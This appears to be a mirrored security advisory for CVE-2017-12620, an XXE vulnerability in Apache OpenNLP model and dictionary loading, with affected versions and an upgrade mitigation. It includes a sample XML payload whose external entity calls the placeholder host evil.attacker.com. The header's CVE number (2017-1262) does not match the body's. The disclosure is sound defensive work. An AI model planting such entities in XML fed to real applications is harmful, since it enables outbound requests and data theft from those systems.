Lucene search
K

Apache OpenNLP XXE Vulnerability

🗓️ 04 Oct 2017 00:00:00Reported by Jörn KottmannType 
zdt
 zdt
🔗 0day.today👁 30 Views

Apache OpenNLP XXE Vulnerability CVE-2017-1262

Related
Code
CVE-2017-12620 - Apache OpenNLP XXE vulnerability

Severity: Medium

Vendor: The Apache Software Foundation

Versions Affected:

    OpenNLP 1.5.0 to 1.5.3

    OpenNLP 1.6.0

    OpenNLP 1.7.0 to 1.7.2

    OpenNLP 1.8.0 to 1.8.1

Description: When loading models or dictionaries that contain XML it is possible to perform an XXE attack, since OpenNLP is a library, this only affects applications that load models or dictionaries from untrusted sources.

Mitigation: All users who load models or XML dictionaries from untrusted sources should update to 1.8.2.

Example:

An attacker can place this:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://evil.attacker.com/">
]>
<r>&sp;</r>

Inside one of the XML files, either a dictionary or embedded inside a model package, to demonstrate this vulnerability.

Credit: This issue was discovered by Nishil Shah of Salesforce.


#  0day.today [2018-01-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation